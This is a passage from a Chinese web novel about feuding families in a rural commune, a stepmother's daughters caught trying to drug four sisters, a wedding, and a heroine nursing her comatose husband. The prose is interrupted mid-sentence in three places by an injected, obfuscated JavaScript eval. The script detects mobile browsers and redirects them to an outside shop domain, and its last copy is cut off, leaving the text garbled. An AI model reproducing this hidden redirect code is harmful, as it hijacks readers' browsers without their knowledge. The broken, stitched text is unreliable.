这倒是实话,王露默默叹了口气:“尽量找吧,又不是没有那种家里穷、兄弟多的,只要人品好,能跟红梅同甘共苦,也是好姻缘。” 楚麦苗不说话了,她总觉得她这个老妈过于乐观了。 就像是对待弟弟泽林的事情,老妈总说车到山前必有路。 哪有路了?不过是找了个没有亲妈的,被虐待的受气包,还不知道能不能撑起一个小家庭呢。 算了,大喜的事情,她就不泼冷水了,转身看着小妹豆苗,问道:“你呢?什么时候准备嫁人啊?” 楚豆苗才19岁,还小呢,她不想嫁人,撇撇嘴道:“我着什么急啊,四哥还没有老婆呢,等他结了婚再考虑我的婚事不迟。” 楚麦苗捏了捏她的脸颊:“你不急?你不急有人急!” 楚豆苗知道她说的是谁,一时羞臊,没好气地拍开了楚麦苗的手:“二姐!你好烦啊!小何那大龅牙戳你脑子里啦?我才不要他呢!” “那你离人家远点儿!公社里碎嘴子那么多,风言风语的多难听。”王露赶紧终结了这个话题,转身看向了老四,“淙林啊,你哥结了婚就不用你照顾了,回头给你重新安排个工作吧。电影放映员的差事已经给了豆苗,你再要回去不好看,外人要看笑话的。” 楚淙林今年22,是家里怨念最大的一个,他一直不明白,为什么要因为哥哥的事情,牺牲他自己的婚姻和工作。 他很不开心,即便现在他就要熬出头了,可是这三年来的辛苦和汗水,找谁说去? 他臭着脸,道:“我不想出去上班了,你们欠我的,我就在家里耗着,耗到我爸退休了,我接他的班。” 毕竟粮站站长可是农村公社为数不多的肥缺了。 王露立马表示了反对:“不行,这工作不能给你,一来你性子懒散,二来你没有主见,回头别人说两句好话,你就给人家开后门,不按凭证随便卖粮,哪天你被抓了都不知道怎么回事。行了,你工作的事我跟你爸会安排的,等你有了工作,重新给你找一门好婚事,别急。” 楚淙林很不开心,从他爸手里抢过来一根烟,直接点上。 盛夏燥热的夜风一吹,呛得王露咳嗽不止。 叫老楚一把夺了他的烟,丢鸡窝里去了。 咕咕咕的鸡叫声里,楚淙林浑身怨气地看着自己老子:“烟都不让我抽?凭什么?” “凭你老子在你妈面前都不敢抽烟!”老楚直接给了这混账一脑瓜子,“王八羔子!还不快给你妈倒水去?你想呛死她呀!” 楚淙林委屈哭了,还好楚稻苗一向有眼力见儿,已经端着一碗凉白开过来了。 王露接过水碗,顺了顺嗓子:“淙林啊,妈知道你有怨气,你放心好了,爸妈一定给你找个比电影放映员更好的差事!给你找个更好的媳妇!” 楚淙林抱着小板凳坐到了旁边,离他老子远点儿,嘀咕道:“吹牛吧你就,整个公社就只剩供销社那边的工作还可以了,可是我听说,供销社的叶主任跟闵家有过节,你现在又让闵家老四来做我嫂子,叶主任能同意我去上班才有鬼了。” 王露不信这个邪,冷笑道:“蠢东西,就因为他跟闵家有过节,他才容易被人拿捏!你放心好了,只要供销社有缺,我跟你爸肯定帮你争取。” 楚淙林依旧是一副全世界都欠了他的嘴脸,低头拿着一节树枝,在地上乱写乱画。 楚麦苗好奇,走近些一看,立马给他了一脚:“蠢东西,你在写什么?” 楚淙林一屁股跌坐在地上,自己都没有意识到写了什么。 直到他大姐夫常凯一把将他提了起来,他才发现,好吧,他居然无意识之中写了一堆的“去死”,至于让谁去死,虽然他没有写名字,但是全家人都看得出来。 他最恨的是谁,自然就最希望谁去死。 老楚被他气得不轻,抄起夹煤球的火钳,嚷嚷着要教训这个王八羔子。 吓得楚淙林立马哀求起来,常凯跟赵成赶紧劝架,拦着点老丈人,楚淙林抓紧时间逃跑,气得老楚大声嚷嚷着:“都别拦着老子,老子今天要清理门户!” 偏偏院门早就被插上了门栓,楚淙林想开门都没时间,只得满院子乱窜。 一时间,四个大老爷们在院子里玩起了秦王绕柱。 正闹着,有人敲门。 闹得正欢的四个男人,一时全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520229|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都闭了嘴。 王露起身,问道:“谁啊?” “王阿姨,是我,我大姐跟三姐要来找你谈谈我的婚事。”崔六在院门外扬声作答。 王露赶紧让大女儿去开门,自己则转身回了房间,梳理一下凌乱的头发。 院门打开,崔六客气地喊了声:“稻苗姐好。” 楚稻苗也客气地点点头:“你们姐妹都来了。” “嗯。”崔六侧身,让三个姐姐先进来。 不经意的一个小举动,让楚稻苗对她多了几分好感,转身招呼起来:“爸,妈,翠柳她们姐妹四个来了,家里碗筷够吗?不够我去小姨家借点儿。” “够的够的!让她们坐吧,我来了。”王露把头发梳理好,赶紧出来,笑着跟闵家姐妹寒暄。 这下两家的人算是到齐了,王露把看好的日子告诉了闵红梅,闵红梅还挺欣慰的:“王阿姨你看好了就行,我们没什么意见,不过规矩不能丢。明天还是要重新找个媒人上门,我上午在家等着。” “行,放心吧红梅,长姐如母,你们四个没有亲妈,翠柳的婚事自然要尊重你的意见。”王露把话说得很体面。 闵红梅笑着接过楚豆苗端来的茶水,先让给了崔六,崔六不要,又让给了她,她这才喝了一口:“王阿姨,你也知道我们姐妹的情况,到时候翠柳就从我们租住的院子里出嫁,你们没有意见吧?” “没有没有,你们怎么方便怎么来。”王露不想为难她们,毕竟她们家庭特殊,没有亲妈。 闵红梅松了口气,公社盛传王露是个母老虎,她瞧着还行啊,挺通情达理的。 她又问道:“我们这边没有兄弟给翠柳送嫁,全是姐姐,我想找个亲戚家的孩子过来充个数,可是我想了又想,实在是没有合适的。这些年我们四个在后妈手底下受苦,那些亲戚全都视而不见,我妹妹结婚这么重要的事,我自然不想让他们过来煞风景。所以我想,要不王阿姨就在你家的亲戚里面找一个吧,只要到时候给翠柳充充场面就行,免得别人一看,呦,这家怎么没有男丁送嫁啊。翠柳会被人笑话的。” 王露明白:“那行,我叫我侄子王轲过来,正好他要调过来上班了,顺手的事。” 闵红梅好奇:“他比翠柳大吗?” 王露笑着点头:“他比你小一岁。” 闵红梅放心了:“那就好,谢谢王阿姨,那我们就先回去了,明天还要给翠柳准备嫁妆。” 王露赶紧挽留:“吃过饭再走吧!” “不了王阿姨,今天特殊情况,我们四个必须一起过来一趟,其他时候要留个人看家,以防许春燕下黑手。我们先回去了,有事的话再联系。”闵红梅赶紧起身,这会儿也不知道家里有没有进“贼”,许春燕的贼。 倒是巧了,那老六老七找不到合适的地方盯梢,最终是许春燕出面,拿侯晶跟闵铁牛的奸情做文章,逼着侯晶点头,让两个孩子在侯晶家后窗那里盯梢。 两姐妹盯了一天,总算是找到了机会,这会儿正捏着碾碎的安乃近粉末,鬼鬼祟祟地跑到姐姐们住处的院门口,试图拆掉那篱笆门,钻进去下药。 不想,那李建军刚好陪着钱国珍回娘家吃饭,路过闵家姐们门口,正好看到两个身影在拆门。 当即怒喝一声抓小偷啊,吓得老六老七齐声尖叫,手拉着手扭头便往侯晶家里跑。 一时着急,丢了口袋里的车钥匙也没有察觉。 李建军俯身捡起钥匙,叮嘱钱国珍:“你先回去,跟爸妈说一声,等会你过来陪我,一起等闵家姐妹回来。” 要不然,他一个已婚男人,大晚上的找四个未婚的姑娘说事,不合适。 28. 结婚4(二更) 许春燕的两个女儿又跑回来了,侯晶头痛不已,赶紧把后门关上,问道:“怎么了?没得手?” “有人路过,被人看见了。”闵蓝芙气死了,真倒霉,早几分钟晚几分钟都行,偏偏就在她跟蓉蓉快把门卸掉的时候快来了,真讨厌。 侯晶无奈:“那算了吧,我送你们回去吧,时候不早了,明天再来。” “也好,等会那几个赔钱货回来肯定要来你家闹事,家里没人的话就闹不起来了。”闵蓝芙没意见。 本来她妈就交代过,尽量白天的时候行动,她也不想拖到现在,结果还被人发现了,白忙一场不说,还要打草惊蛇。 一时气得直嘟囔,直到闵紫蓉伸手问她要钥匙,她才回过神来,一摸口袋:“哎呀!钥匙丢了!” “丢哪儿了?”闵紫蓉真是受不了她这个亲姐了,口口声声不放心她,非要用姐姐的身份压她一头,自己拿着钥匙,现在好了,钥匙丢了。 这要是丢在路上还好,要是丢在四个赔钱货的门口,那就完蛋了。 闵蓝芙也不想这样,只得央求侯晶,出去帮忙找找看。 侯晶本来就不想掺和这种事,要不是许春燕拿她以前的事情威胁她,她早就翻脸了。 现在还要她亲自出去找钥匙,万一被闵家那几个姑娘撞见了,她不是百口莫辩吗? 只得黑着脸:“我只答应留你们在这里盯梢,晚上送你们回去,其他的事情别找我。” 无奈,闵蓝芙只好鬼鬼祟祟地开了后门,看看刚刚那人还在不在,不在的话,她还有机会赶紧跑过去找找。 农村的夜晚,视野全靠天意。 今天倒是幸运,白天虽然下过半个小时的雷阵雨,这会儿却是好天气,星空像是被洗涤过一样,亮晶晶的全是眨眼的星星。 周围又有无数萤火虫翩跹,只要离开了房间里的煤油灯,稍微适应一会儿,就能看到后面人家的门口有没有人。 闵蓝芙等了一会儿,始终看不到那个多事男人的身影,便找侯晶借了个手电,壮着胆子跑了过去。 到了门口一看,果然没人,她这才放心大胆地寻找起来。 可是见鬼了,她愣是找不到车钥匙,一时着急,只得看看篱笆门里面有没有。 就在她放下手电,准备把门移开的时候,忽然身后传来一声口哨声,一个女人扑了上来,连同几个女民兵一起,把闵蓝芙摁在了地上。 钱国珍捡起地上的手电筒,对准闵蓝芙的眼睛,那刺眼的灯光,逼得闵蓝芙不得不闭上眼睛,破口大骂。 钱国珍啪啪两个大嘴巴子奉送给她,呵斥道:“小小年纪不学好,大半夜出来做贼,还敢骂人?我看你是想被关起来了!” 李建军从旁边的草垛后走上前来:“别跟她废话,直接带走,交给方组长。” “不交给朱玉民吗?”钱国珍想让这个闵蓝芙好好吃点苦头。 李建军摇了摇头:“朱玉民忙不过来,这种小打小闹的事情,只有人保组会管。” “也好,走!”钱国珍赶紧招呼那几个女民兵,把人押送去公社。 刚走没多远,遇到了匆忙赶回来的闵家四姐妹。 崔六赶紧喊了声国珍姐,问问出什么事了。 钱国珍如此这般介绍一番,崔六气笑了:“搜身了吗?” “还没有。”钱国珍到底不是负责治安的,没想那么多,反正到了人保组,自然会有人搜。 崔六却认为还是现在就搜了比较好,便招呼了一声闵金菊,姐妹俩一起动手。 很快就从闵蓝芙的裤兜里搜出来一大包白色的粉末。 崔六打开闻了闻:“又是安乃近。国珍姐,我跟你一起去,把她交给朱玉民吧。她今天能给我们下安乃近,下次就能给我们下老鼠药、农药。必须严肃处理。” 钱国珍也是这个意思,可惜李建军说朱玉民没时间,她很担心:“朱玉民管得过来吗?” 崔六安慰道:“没事,王露阿姨的娘家侄子就要调过来了,到时候他新官上任三把火,肯定要尽量多处理一点案子的。” “那走吧!”钱国珍很喜欢这个翠柳妹妹,要不是这个妹妹帮忙,她跟李建军还僵持着呢。 赶紧拿着手电,走在前面照路。 赶到公社,朱玉民果然还在加班,听完钱国珍的陈述,立马起身,拿起钥匙:“明天会有另外一个公安特派员过来,正好交给他处理。” 闵蓝芙这下傻眼了,被关在拘留室里,鬼哭狼嚎,说她是被冤枉的。 朱玉民全当没听见,继续忙自己的。 上次那个女尸的案子县里很重视,最近他都在走访调查取证,必须尽快结案。 崔六跟闵金菊回到住处,从两个姐姐口中得知,李建军还留了把车钥匙给她们。 闵橙萱决定扣下这把钥匙:“她们母女不仁在前,我们姐妹不义在后。” “就是!我们可没有偷谁的自行车,只是碰巧在院门口发现一把钥匙而已,找不到失主正常。”闵金菊非常赞同这个处理办法。 这么一来,许春燕母女骑不了车,捣乱的速度都会大打折扣。 当然,她们也可以把车抗到修车铺换个锁,这么热的天,也够折腾的。 总之,钥匙就当没捡着,直接在院子里找了块地埋了进去,还在上面压了块石头,完美。 * 姐妹几个第二天都请了假,开始给崔六张罗嫁妆。 好在她们这个月的工资攥在了自己手里,之前又从许春燕的柜子里搜出来三百多块钱,手里还捏着一张五百块的汇款单,虽然她们取不了这笔钱,可不管怎么说,捏着汇款单就有了跟闵铁牛和许春燕讨价还价的底气。 姐妹几个各显神通,这个找朋友换票,那个找朋友买票,东拼西凑,愣是给她们的宝贝妹妹凑了一整套体面的嫁妆—— 架子床一张、泡澡的大桶一个,三门橱一个,高低柜一个,老式木制马桶一个,新式搪瓷马桶一个,搪瓷脸盆脚盆一双,大红印花热水壶一对,大红连衣裙两条,大红被褥两床,编了红双喜图案的凉席两张,粉红色蚊帐两顶…… 这哪里是嫁妹妹,简直就像是在嫁女儿。 闵红梅忙得不亦乐乎,闵金菊也噙着笑,只有闵橙萱的眉头间,始终氤氲着一丝愁绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520297|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>果然,正忙得热火朝天,许春燕来闹事了。 口口声声说她们姐妹四个害了闵蓝芙,闹着要在姐妹四个的门前上吊。 崔六气不过,上前要跟她理论,却见闵橙萱走上前来,一把将崔六扯到身后。 冷笑道:“许春燕,你想让全公社知道你男人在偷情吗?想的话,你就继续闹,明天我弄点大字报帮你宣传宣传,你男人跟侯晶有过一个孩子,被你逼着打了胎,又跟王娟在鱼塘约会,打得热火朝天,说不定马上也要有孩子了。啊,对了,光是大字报还不够,有的叔叔阿姨大哥嫂子不识字,我还要村里的广播站宣扬你们两公婆的丑事!” 许春燕傻眼了,这个老二不是一向闷不做声的吗? 今天这是怎么了,居然火力全开。 她很生气:“你想毁了你爸爸?翠柳没了娘家撑腰,在婆家也抬不起头来的!” 闵橙萱直接提着她的衣领子,面若冰霜:“闵铁牛是她的娘家人吗?你是她的娘家人吗?好像都不是吧?许春燕,别给脸不要脸,你当初是怎么破坏我爸妈的婚姻的,你比我清楚。等我帮你男人做宣传的时候,一定也不会忘了你做的好事!” 许春燕气不过,抬手就想扇耳光,却叫崔六抢前一步,一巴掌直接糊了上去。 这一把掌,可是用上了崔六这个星舰指挥官十足十的力道,毫无保留。 直扇得许春燕耳鸣阵阵,头晕目眩,最后软绵绵地倒在了闵紫蓉的怀里。 许春燕恍惚间,好像回到了被范少帅的大老婆毒打的日子,一时竟然嚣张不起来了,只管有气无力地催促小女儿:“快,带我去公社,找,找朱玉民,报,报案。” 闵紫蓉气死了,扶着自己的妈妈,张嘴就是一声恶毒的咒骂。 正好闵金菊离得近,便直接抬手扇了上去。 啪啪两声,清脆响亮。 闵金菊没好气地骂道:“你嘴巴吃大粪了!这么恶毒,小心走夜路被毒蛇咬死!” 闵紫蓉一个人打不过崔六姐妹四个,只好哭哭啼啼地扶着她妈妈,往公社去了。 到了公社,一番哭诉,最后得到的结果是,闵紫蓉也被抓了。 因为李建军跟钱国珍今天特地来了一趟公社,补充了一个犯案人员,闵紫蓉。 这下好了,许春燕的三个孩子全都被抓了,只剩她自己头昏脑涨的,在公社哭了半天。 朱玉民懒得搭理她,正心烦呢,王轲来了,他赶紧跟王轲寒暄一番,把这个案子交给了王轲。 王轲一听,呦,这居然就是他姑妈家准儿媳的后妈,那还得了? 赶紧立案调查。 他顶着酷暑跑去侯晶家里,侯晶却死活不肯作证。 正发愁,有人站在后门,敲了敲敞开的门板:“你好,小王公安是吗?我是闵橙萱,住在后面,你调查的那母女三个,就是在我家门口搞的鬼。” 王轲一回头,但见一个扎着双马尾,穿着白衬衫藏青色长裤的女同志站在那里,她的身上虽然打满了补丁,看起来却格外的清爽利索。 他赶紧走过去打招呼:“你好,我们好像在哪儿见过,进来说。” 29. 洞房 闵橙萱上次去花月公社找朋友借鞋样子的时候,遇到过王轲。 当时他正在她朋友的邻居家处理案件,那家的女主人因为孩子溺水,上吊死了,男主人受不了刺激,也喝了农药。 最终剩下两个年迈的老人,哭得几度晕厥。 后来不出一个月,两个老人也先后走了,曾经热热闹闹的一家,只剩下了一个空洞的土砖房,毫无生气。 可见人生苦短,及时行乐。 对于闵橙萱来说,她的乐事就是看着大姐,别被她们的爸爸骗得团团转,现如今,闵橙萱又多了两样乐事,那就是嫁妹妹,盖房。 她的精气神很好,面带微笑说明昨天晚上发生的事情,末了补充道:“巡堤小队的队长李建军跟他老婆钱国珍可以作证,还有钱国珍找来的几个女民兵,这里是名单。” 王轲收下从信纸上撕下来的半截纸条,默默看了眼:“谢谢,我会一一走访调查的。” 闵橙萱转身,默默看了侯晶一眼:“你不说话没关系,最后落个包庇的罪名,可别怪我没有提醒你。” 侯晶头痛不已。 她既不敢招惹许春燕,又不想得罪王露一家。 真是左右为难。 算了,那翠柳到底是要嫁给一个军人了,如果翠柳真的被害了,那公社武装部的领导也不会坐视不理的。 许春燕再有背景,也没有部队撑腰,还是供出许春燕吧,说不定关一关许春燕,她就老实了。 于是侯晶把许春燕威胁她的事情一一交代,末了哭道:“我跟闵铁牛的事情真的不怪我,当时他们两口子闹离婚,闵铁牛骗我说他们手续已经办完了,许春燕还住在闵家,不过是因为没找到房子,等她有了落脚的地方就会搬走。我就是信了他的鬼话,这才……总之,我从来没有想去破坏别人的家庭。更没有想到,时隔多年,这事还会被人翻出来要挟我。” 王轲蹙眉:“你自己没有男人吗?为什么要……” “我男人?小王公安,你看看这大白天的,他人呢?”侯晶默默叹了口气,“实不相瞒,从结婚到现在,他一次都没有碰过我,我要离婚他又不让,我也是人,我也会受不了的,希望你理解。” 王轲大概猜到了,做了几年公安特派员,匪夷所思的事情他见过不少,像侯晶男人的这种情况,也不是没有。 一般有三种可能:第一,侯晶男人是个天残;第二,侯晶男人外观上没有残疾,但他在夫妻那事上不行;第三,侯晶男人不喜欢女人。 不管是哪一种,都算是家丑,轻易不会有哪个女人往外说的。 王轲是个体面人,顾及了侯晶的脸面,找了个不可能的说法:“他是不是心里装着别的女人?” 侯晶苦涩的笑了笑:“也许吧。” 其实她知道,不是的,就算她脱光了,她男人都无动于衷。 这世上就算有情种,也不至于二十几年都对自己老婆无动于衷,那些情种真正会做的,是嘴上嚷着,哎呀我好爱某某,身体上却很诚实地在跟自己老婆造娃娃。 然而侯晶的男人连看都懒得看她一眼,侯晶甚至怀疑,他是不是喜欢男人。 算了,这种事自己知道就行了,她看看时间不早了,问道:“在我家吃饭吧?” “不了不了,我还要去找李建军跟钱国珍。”王轲赶紧告辞,从后门离开。 钱国珍娘家在后排。 刚到后面路上,就看到闵橙萱跟一个年龄相仿的女同志正一人担着扁担的一头赶路,中间抬着一大桶鱼。 活鱼乱跳,溅了一地的水,落在后面的闵橙萱脚下一滑,险些摔倒。 王轲冲上去一把兜住,不过他忙着捞人,没有注意那水桶,只听哗啦啦啦一声响,大红色的水桶就这么倒在了地上,水洒了一地,鲫鱼白鲢青鱼黑鱼到处乱蹦,满地裹泥。 闵橙萱踉跄着站稳,回头说了声谢谢,赶紧去捡鱼。 王轲也过来帮忙,闵红梅转身提着水桶,赶紧回院子打水去。 很快收拾完,闵红梅热情地招呼王轲进来吃口西瓜再走。 王轲本想拒绝,闵橙萱回头看了眼:“男子汉大丈夫,别扭扭捏捏的,进来。” 王轲只好硬着头皮,进院子吃了一瓣儿西瓜,吃完一看,闵橙萱已经端了一盆水,拿了块硫磺皂,一叠卫生纸给他,洗手去腥擦嘴,一个不落。 他可从来没有这样被女同志照顾过,一时词穷,只会说谢谢,再见。 天这么热,闵橙萱发现王轲居然是步行过来的,不禁好奇:“你没骑车吗?” “车子被人借走了,来的时候搭了公社的拖拉机。”王轲站在门口,笑着回头。 闵橙萱赶紧把院子里的自行车推给他:“借你了,别弄丢啊,这是我妹妹准婆婆家的。” “好,我知道了。一定小心。”王轲接过车把,胳膊碰到了闵橙萱的手,赶紧脸红脖子粗地道歉。 闵橙萱没忍住笑了:“知道什么呀,你知道我妹妹的准婆婆是谁吗?” “知道,我姑妈。”王轲早就做了功课,受害者四姐妹中的老四叫翠柳,即将成为他的表嫂。 闵橙萱笑着把钥匙递给他:“知道就好,等会你直接骑回去吧,省得我们再去还车了。” “好,谢谢。”王轲就这么走了,顶着烈日,四处奔波,一门心思做个为民请命的好公安。 闵红梅打了好几桶水,跟闵橙萱一起,把脏兮兮的鱼儿们洗干净,等着办婚宴的时候再下锅。 收拾完这些鱼,姐妹俩又去了一趟粮站,把手里的粮票全部用完,有些是买的,有些是换的,总之,翠柳就结这一次婚,一定要好好操办。 至于之后吃什么,简单,公社除了集体的手工作坊,还允许绣娘和裁缝们下班后,接一点零活做做。 比如谁家要结婚了,买不起公社绣站里的绣品,那就请个绣娘到家里做,工钱虽然给得不多,但会提供两顿饭。 同样,裁缝也是。 这么好的事情,公社自然要管控,所以接零活的时候,必须跟大队报备,月底要额外交一笔钱,算是跟生产队合作的营生。 这种措施,给那些家里人口多,但劳动力少的家庭提供了喘息的机会。 是公社人性化制度的体现。 至于老三的口粮,简单,两个做姐姐的带点吃的回来就行了。 总之,翠柳的婚事不能寒碜,一定要风风光光的。 * 许春燕急死了,她这两天废了好大的功夫打听,才知道她儿子被关着不肯放出来,是因为他不止招惹了一个女孩子。 除了那个怀孕要了五百块彩礼的,还有一个跟他上过床,偷偷打了胎的。 那女方家长听说了五百块彩礼的事情,自然不甘心,便到朱玉民那里报警,说自家闺女被闵青松给糟蹋了,要求朱玉民严肃处理。 朱玉民这才顶着上头的压力,一直把闵青松扣着,没有放出来。 现在王轲来了,这个烫手山芋就交给了王轲。 现在许春燕在人保组办公室里闹事,王轲只好把她也给关了起来。 理由是,策划并唆使两个女儿对四个继女下药谋害。 这下终于消停了,王轲默默擦了把汗,看了看时间:“我请一个小时假,我表哥结婚,我表嫂家里没有兄弟,我得去充个数。等会再来。” 朱玉民点点头:“去吧,等会我也要去吃喜酒。” 王轲到了四姐妹租住的村子里,老远就听到了唢呐的声音,那叫一个热闹喜庆。 王轲抓紧时间,过来背新娘子,跟她的三个姐姐一起送嫁。 院门口围满了讨喜糖的孩子,一个个的,跟猴一样,王珂背着崔六,险些被孩子们撞到,只得放慢速度。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522570|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那楚泽林因为昏迷不醒,不能亲自来接亲,只能由他的弟弟楚淙林拿着他的军官证过来,代替他接亲。 所以,别的女同志出嫁,都是被新郎官接走,而崔六出嫁,是被一本军官证接走了。 可别说,这感觉还挺神奇的,好像自己不是结婚了,只是从一个住处换到了另外一个住处而已。 三个姐姐喜极而泣,招呼送嫁的队伍抬着嫁妆,一路吹吹打打地跟了过去。 至于闵铁牛这个老子,无人在意。 他气得脸色铁青,站在人群最外围,第一次彻底又清晰地意识到,他已经完全失去了对这四个女儿的掌控。 喜宴办得很热闹,闵家姐妹那里请的都是同学朋友以及手工作坊里的同事,一个亲戚都没有;婆家这边,请的则是亲戚、邻居,一些同事和好友,亲戚比例极高。 喜宴结束,热闹散去,王露赶紧把六百块彩礼给了崔六。 随后便出去了,领着她的儿子女儿女婿们,在院子里清理残局。 崔六则留在婚房,走一走洞房花烛的流程。 可是,跟植物人该怎么洞房呢? 喂喂流食,把把尿,排排便,这日子还真是有味道。 幸亏他长得一副好皮囊,不然崔六还真是找不到一丝乐趣了。 现在嘛,趁他昏迷不醒,想怎么折腾都行。 捏捏脸颊,摸摸他略微有点萎缩的肱二头肌,再看看他的腹肌。 嗯,需要好好照顾,多让他动动才行。 没事,她有的是力气。 最后再给男人浑身擦洗一遍,崔六已经热得浑身汗湿。 农村的夜晚,没有电真是不行啊,什么时候不限电就好了。 不怪楚淙林受不了,这确实很累。 所以,崔六不是换个了住处,而是换了个人生。 洗了澡,她倒在床上,有气无力地跟系统闲聊:“太累了,有没有什么智能的机器帮帮我啊?” “可以的宿主,多吃瓜多攒币,消耗一万瓜币,可以加载一个生活助手的模块,相对应的,会有一个生活助手商店,你需要的,应有尽有。” “哦?”崔六来了精神,看了眼身侧的睡美男,催促道,“你先给我看看都有什么好东西。” 很快,系统展示了一个预加载的界面,商店橱窗里,有几款名字特别诱人的机器:植物人护理专用床,植物人护理专用喂食器,植物人护理专用…… 崔六看了眼自己的瓜币总额,六千多,还行嘛!努努力,很快就可以加载这个模块了。 取消预加载模式,崔六拿着蒲扇,轻轻扇了扇,总觉得自己刚才好像忘了什么。 直到婆婆送了两瓣西瓜进来,直到西瓜吃完,尿意来袭,崔六恍然想起了什么:她只给睡美男擦洗了身体,没有擦…… 呃……卫生起见,还是擦擦吧。 崔六去外面打了盆水,上了茅厕洗了手,回来便端着水盆,琢磨起了那玩意儿该怎么洗。 徒手肯定不行,手上有细菌,那就弄个毛巾吧,太大了也不行,水会滴在床上,那就在系统商店里买一块正方形的小毛巾吧。 泡了水,稍微拧了拧,崔六掀开了男人肚子上的毛毯,扯下了他的裤子。 呃……楚淙林果然不靠谱!这一看就是没怎么洗过! 崔六赶紧在系统商店里买了一包酒精湿巾,一包护理湿巾。 先用护理湿巾,擦洗三遍后,再换酒精湿巾擦洗三遍,不然她过不去心里那个坎儿。 最后再换毛巾和清水。 夜风从窗口钻进来,煤油灯的灯芯一阵摇晃,摇曳的光线里,被刺激到的男人动了动手指。 崔六却没有察觉,又出去打了一盆井水进来。 反反复复,又给他擦了三遍,可算是结束了。 崔六吹灭了煤油灯,睡觉。 30. 撒谎 夜深人静,闵家三姐妹收拾完院子,归还了各家借来的桌椅板凳,关上篱笆院门,坐在院子里的枇杷树下乘凉。 闵红梅拿着纸笔,闵橙萱抱着一铁盒的毛票,姐妹俩一个唱数,一个数钱,正在核对今天收到的礼金。 闵金菊手上的伤还没好,这几天成了国宝大熊猫,姐妹们什么活儿都不让她干,这会儿只能拿着蒲扇,坐在旁边帮忙赶走蚊蝇。 正忙着,门口传来了一个男人的咳嗽声。 闵铁牛憋了一天的气,酒宴的时候就想来闹事了,叫李建军和几个民兵撞见了,强行给他拉走,做了半天的思想工作。 闵铁牛还不想丢了中队长的差事,只能忍着,忍到夜深人静,终于还是来了。 他把手里的烟抽完,烟蒂随手扔在了地上,一脚踹开那本就不结实的篱笆门,背着双手绷着脸,一进来就问:“你们把我的汇款单藏哪儿去了?” 闵橙萱就猜到他回来,一言不发地起身,去厨房拿了把菜刀在手里握着,以防万一。 闵金菊呢,虽然右手还有伤,可她的左手又没坏,便也起身,抄了根扁担在手里。 只有闵红梅,依旧客客气气地,端了张板凳给这个老子:“坐。” 闵铁牛很不满意,但在这莫大的不满之中,还是生出了一丝丝的满意,看来红梅这孩子还是孝顺的。 他坐下打量了一遍双生花:“你们两个是想弑父吗?” 闵橙萱冷笑一声:“你来得正好,我们正打算找你算账呢!卖身契我们已经见过了,说,我妈现在在哪儿?” 闵铁牛还不知道姐妹四个已经发现了她们小姨丰雯的存在,装模作样地说道:“我已经见过她了,也让人拍了她的照片,过几天就拿给你们。” 闵金菊也冷笑:“你该不会是找别人冒充吧?我们当时可都记事了,知道自己的妈长什么样。” 闵铁牛继续撒谎:“怎么会呢,你们的妈妈还活得好好的,只要你们把汇款单和那三百多块钱还给我,我立马就带你们去找她。” 闵橙萱看了眼闵红梅,见她并没有再因为闵铁牛的三言两语就激动不已,心中多少有些欣慰。 她提议道:“不用费劲了,你明天直接带我们去见她,只要见到她,我们就把汇款单给你。至于那三百块,不好意思,花完了。” 闵铁牛并不意外,他可是亲眼看到老四的嫁妆队伍有多热闹,他很失望:“你们居然为了翠柳把钱全都花完了?你们有没有想过我和你们妈妈,你们弟弟妹妹的死活?他们四个到现在都没回来,说不定——” “那可真是求之不得了。”闵橙萱嘴巴狠毒,反问道,“你不会以为你为了他们母子剥削了我们这么多年,到头来我们还会对他们有感情吧?我们不是奴隶,是人,懂吗?” 闵铁牛不说话了,他不理解,怎么老四转了性,老二也转了性? 老二可没有被卖,也没有撞磨盘啊。 一时气恼,只得跟闵红梅打感情牌:“红梅啊,你听爸说,爸就青松那一个儿子,青松又只有那一个妈妈,你帮帮他们,就等于帮了爸爸,爸爸以后会对你们好的。别的不敢说,起码爸爸会帮你们全都找到好婆家,让你们跟翠柳一样,风风光光的嫁人。” 这要是搁以前,闵红梅肯定就上当了,可是现在,她看到了九死一生的翠柳,看到了被他摧残的金菊的右手,看到了那卖掉她们妈妈的卖身契,甚至还从翠柳口中得知她们有个小姨。 而这个小姨,多半正是她们爸爸准备用来哄骗她们的“妈妈”人选。 她的失望,一惊无法用言语来描述。 她站了起来:“爸,你走吧,我们几个嫁不嫁人是我们自己的事。至于许阿姨他们,相信公安那边会给他们一个公正的裁决,就不用你操心了。” “红梅!”闵铁牛真的急了,一把抓住了闵红梅的袖子,开始抹眼泪。 闵红梅却背过身去,只当没看见。 无奈,闵铁牛只好故技重施,捂着心口,装病。 闵红梅一回头,他已经倒在了地上,蜷缩成一个虾米,双手抱胸,一副痛不欲生的样子。 